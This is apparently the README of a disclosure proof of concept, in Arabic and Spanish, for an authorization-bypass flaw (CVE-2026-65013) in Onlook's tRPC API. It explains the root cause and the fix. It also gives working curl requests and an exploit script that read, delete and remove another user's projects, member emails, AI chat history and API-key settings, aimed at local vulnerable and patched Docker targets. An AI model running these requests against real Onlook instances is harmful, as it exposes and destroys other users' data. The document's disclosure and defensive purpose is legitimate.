
إثبات مفهوم قابل لإعادة الإنتاج لثغرة BOLA/IDOR ضد واجهة tRPC API الخاصة بـ Onlook (CVE-2026-65013)، مع سلسلة استغلال من 12 خطوة، وأهداف Docker المعرضة للثغرة والمصححة، وتوثيق تقني.
PoC قابل لإعادة الإنتاج لـ BOLA / IDOR في واجهة tRPC الخاصة بـ Onlook (CVE-2026-65013).
أي مستخدم مُصادَق عليه يمكنه قراءة وتعديل وحذف مشاريع وأعضاء وسجل الذكاء
الاصطناعي لمستخدمين آخرين بمجرد تمرير معرّفات UUID الخاصة بهم إلى إجراءات
tRPC (الإصدارات <= 0.2.32).
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerable | Onlook <= 0.2.32 |
| Parche | commit 423e2e9 (PR onlook-dev/onlook#3129) |
| المستند | المحتوى |
|---|---|
docs/CVE-2026-65013.md | التفاصيل التقنية لـ CVE: السبب الجذري (RLS مُعفى + helper موزّع بشكل خاطئ)، السطح المتأثر الفعلي، تشريح الهجوم، تحليل سطرًا بسطر لإصلاح 423e2e9، المعالجة، مراجع CVE/advisory/PR. |
docs/ARQUITECTURA.md | خاص بـ PoC: خريطة الملفات، wire format tRPC v10+superjson، نموذج البيانات، مخطط VULN مقابل FIX، جدول الإجراءات، ربط PoC ↔ Onlook الحقيقي، دليل التوسيع، التحقق/CI اليدوي. |
يُعرّض Onlook خلفيته عبر tRPC، وتستقبل الإجراءات معرّف المورد مباشرةً من العميل:
project.get({ projectId }) // lee cualquier proyecto
member.remove({ projectId, userId }) // expulsa a cualquiera
chat.conversation.delete({ conversationId }) // borra historial de IA
settings.get({ projectId }) // settings con API keys
المشكلة: معظمها لم يكن يتحقق من أن المستدعي عضو في المشروع. كان الاتصال بـ Postgres (Drizzle) مستخدمًا خارقًا مُعفى من Row Level Security، لذا كان على التحكم أن يكون في كود tRPC... وهناك كان مفقودًا.
كان helper باسم verifyProjectAccess() موجودًا بالفعل (مطبّقًا على حفنة من
الإجراءات، مثل project.update/delete)، لكن بقية السطح كان يثق بمعرّف
العميل: project.get، member.list، member.remove، invitation.list،
chat.conversation.*، chat.message.*، branch.*، settings.*، frame.*…
المصادقة ليست المشكلة (JWT من Supabase يعمل). إنها التفويض حسب الكائن (BOLA/IDOR): يستخدم المهاجم جلسته الشرعية الخاصة ضد معرّفات الضحية.
lib/authorization.js على الـ helpers المفقودة (verifyProjectAccess،
verifyConversationAccess، verifyMessagesAccess، verifyBranchAccess،
verifyCanvasAccess، verifyMemberRemoval، verifyInvitationAccess) — المكافئ
للـ commit 423e2e9.lib/router.js يستدعيها فقط إذا كان enforceAuth مُفعّلًا؛ في الوضع
القابل للاستغلال تُنفَّذ الإجراءات دون التحقق (الخلل الحقيقي).Unauthorized or not found (UNAUTHORIZED)، حتى لا يمكن تعداد وجود الموارد:
// chat.conversation.delete — vulnerable (sin chequeo) vs parcheado:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
project.update محميًا في كلا الوضعين كـ"تباين": يُثبت أن الـ helper
كان موجودًا، لكنه كان موزّعًا بشكل خاطئ.docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → VULNERABLE
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → PARCHEADO
يشغّل Docker الـهدف (القابل للاستغلال والمُرقَّع) بالإضافة إلى خدمة
demo. يتم الاستغلال من جهازك ضد هذين الهدفين.
curl -s http://localhost:3000/demo/ids # ids del seed de la víctima (Alice)
هذا يستبدل القناة الحقيقية التي قد يحصل بها المهاجم على معرّفات UUID (رابط معاينة مُشارَك، referrer من السجلات، دعوات…).
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. LEER el proyecto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. LISTAR miembros y emails (aun siendo ajeno al proyecto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. EXPULSAR a Alice (owner) de SU propio proyecto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice ya no está en su proyecto)
# 3d. BORRAR el historial de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)يُنفّذ 12 إجراءً في السلسلة (قراءة المشروع، سرد مشاريع Alice، تصفية الإيميلات، طرد المالك، سرد الدعوات، قراءة/حذف سجل الذكاء الاصطناعي، branches، settings مع apiKey، frames):
node exploit.js # contra :3000 (vulnerable) → filtraciones
node exploit.js --target http://localhost:3001 --expect blocked # contra :3001 (parcheado)
المخرجات النموذجية (قابل للاستغلال):
💥 project.get → FILTRADO
💥 member.remove → FILTRADO (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.
ضد النسخة المُرقَّعة:
🛡️ project.get → BLOQUEADO (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.
الاستغلال يُعدّل قاعدة البيانات في الذاكرة للخادم القابل للاستغلال: لإعادة تنفيذه أعد تشغيل تلك النسخة (
docker compose restart server).
| الإجراء | :3000 قابل للاستغلال | :3001 مُرقَّع |
|---|---|---|
project.get (مشروع الغير) | 200 + الاسم/البيانات الوصفية | 401 Unauthorized or not found |
member.list (إيميلات الغير) | 200 + الإيميلات | 401 |
member.remove (طرد المالك) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get (apiKey) | 200 + settings | 401 |
project.update (تباين: كان محميًا بالفعل) | 401 | 401 |
npm run demo # compara VULNERABLE vs PARCHEADO en proceso (sin red), 12 procedimientos
bash test-local.sh # harness integral: curl (formato advisory) + exploit vs :3100 y :3101, exit code real
أو في Docker:
docker compose up -d demo
docker logs cve-2026-65013-demo
open http://localhost:3000 # (o http://localhost:3001 para la versión parcheada)
حسابات العرض:
| Password | الدور | |
|---|---|---|
[email protected] | alice123 | مالكة المشروع السري |
[email protected] | bob123 | المهاجم |
[email protected] | charlie123 | محرّر مشروع Alice |